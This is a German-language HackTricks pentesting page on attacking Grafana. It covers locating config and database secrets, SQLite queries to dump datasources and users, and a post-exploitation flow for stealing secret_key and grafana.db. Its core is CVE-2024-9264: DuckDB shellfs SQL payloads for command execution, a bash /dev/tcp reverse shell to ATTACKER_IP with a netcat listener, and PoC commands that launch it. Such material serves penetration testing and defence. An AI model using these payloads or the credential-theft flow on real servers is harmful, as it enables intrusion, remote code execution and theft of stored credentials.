Grafana
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Interessantes
- Die Hauptkonfiguration befindet sich normalerweise in
/etc/grafana/grafana.ini(Deb/RPM) und kann sensible Werte wieadmin_user,admin_password,secret_key, OAuth-Einstellungen, SMTP-Credentials und Renderer-Tokens enthalten. - Standardmäßig speichert Grafana Daten in SQLite3 unter
/var/lib/grafana/grafana.db. - Provisioning-Dateien sind nach Zugriff auf den Host sehr interessant:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Die Expansion von Environment-Variablen wird in Provisioning-Dateien unterstützt, daher offenbart leaked YAML oft sowohl Secrets als auch die zugrunde liegenden Env-Variablennamen.
- Installierte Plugins findet man üblicherweise unter
/var/lib/grafana/plugins. - Innerhalb der Plattform kannst du je nach Rolle Personen einladen, generate API keys / service account tokens, Plugins auflisten, oder neue Plugins installieren.
- Auch der Browser ist Beute: Grafana stellt nicht-geheime Datasource-Konfigurationen im Frontend bereit. Wenn du eine Viewer-Sitzung hast (oder anonymous access aktiviert ist), prüfe
window.grafanaBootDatain den DevTools.
Nützliche SQLite-Abfragen:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Auslesen von Dataquellen und Geheimnissen
Grafana trennt im Browser lesbare Konfiguration von verschlüsselten Geheimnissen:
jsonDataist im Browser für Benutzer sichtbar und reicht häufig aus, um interne Hosts, Tenants, Auth-Modi, Header-Namen, AWS-Regionen, Elasticsearch-Indizes, Loki-Tenants, Prometheus-URLs und ähnliche Recon-Daten zu enumerieren.secureJsonDataist serverseitig verschlüsselt und nach dem Speichern der Datasource im Browser nicht mehr lesbar.
Post-Exploitation-Ablauf:
grafana.iniauslesen undsecret_keywiederherstellen.grafana.dbund Provisioning-Dateien exfiltrieren.- Dataquellen und Plugin-Konfiguration enumerieren, um wiederverwendbare Anmeldedaten und interne Endpunkte zu finden.
- Beim Migrieren oder Wiederherstellen der Datenbank in einer anderen Grafana-Instanz den gleichen
secret_keybeibehalten; sonst lassen sich gespeicherte Datasource-Passwörter/Token nicht korrekt entschlüsseln.
Warum secret_key in neueren Versionen wichtig ist:
- Seit Grafana v9 verwenden Datenbank-Secrets Envelope-Verschlüsselung.
- Grafana verschlüsselt Secrets mit data encryption keys (DEKs), und diese DEKs werden mit einem key encryption key (KEK) verschlüsselt, der aus
secret_keyabgeleitet ist. - Aus Sicht eines Angreifers ist
grafana.db+secret_keydas Paar, das sich zu stehlen lohnt.
Angriffsfläche von Plugins
Behandle Plugins als Teil des Ziels, nicht als Fußnote:
- Aus dem Dateisystem, aus der UI oder aus der API auflisten:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Ältere oder Drittanbieter-Plugins erweitern regelmäßig Grafanas Reichweite in interne Netzwerke, weil sie HTTP-Anfragen proxyen oder mit lokalen Dateien/Datenbanken interagieren.
- Jüngste Beispiele umfassen SSRF im Infinity-Plugin (
< 3.4.1) und Missbrauchspfade, bei denen das Image Renderer-Plugin einen anderen Bug in full-read SSRF verwandelt.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafana’s experimentelles SQL Expressions-Feature kann DuckDB-Queries auswerten, die benutzerkontrollierten Text einbetten. Unzureichende Sanitization erlaubt es Angreifern, DuckDB-Anweisungen zu verketten und die Community-Extension shellfs zu laden, die Shell-Befehle über pipe-gestützte virtuelle Dateien exponiert.
Impact
- Jeder authentifizierte Benutzer mit VIEWER oder höher kann Codeausführung als der Grafana-OS-Benutzer erreichen (häufig grafana; manchmal root innerhalb eines Containers) oder lokale Dateien auslesen.
- Häufig in echten Deployments erfüllte Voraussetzungen:
- SQL Expressions aktiviert:
expressions.enabled = true duckdb-Binary im PATH auf dem Server vorhanden
Quick checks
- In der UI/API: Admin-Einstellungen aufrufen (Swagger:
/swagger-ui, Endpoint/api/admin/settings) um zu bestätigen: expressions.enabledist true- Optional: Version, Datasource-Typen und allgemeine Hardening-Einstellungen
- Shell auf dem Host:
which duckdbmuss für den untenstehenden Exploit-Pfad auflösbar sein.
Manual query pattern using DuckDB + shellfs
- Abuse flow (2 queries):
- Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
- Read back the temp file using
read_blob
Example SQL Expressions payloads that get passed to DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Ersetze CMD durch den gewünschten Befehl. Für file-read (LFI) kannst du stattdessen DuckDB file functions verwenden, um lokale Dateien zu lesen.
Einzeiliger reverse shell — Beispiel
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Bette das als CMD in die erste Anfrage ein, während du einen Listener laufen hast: nc -lnvp 443.
Automatisierter PoC
- Öffentlicher PoC (basierend auf cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Verwendungsbeispiel
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Wenn die Ausgabe uid=0(root) zeigt, läuft Grafana als root (häufig in einigen Containern).
2025 client-side traversal / open redirect chain
Die 2025 Grafana client-side traversal und open-redirect chain ist bereits in allgemeineren clientseitigen Seiten dokumentiert. Verwende diese Techniken gegen Grafana-spezifische Pfade wie plugin assets, dashboard script loaders und token-rotation redirects:
Quellen
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


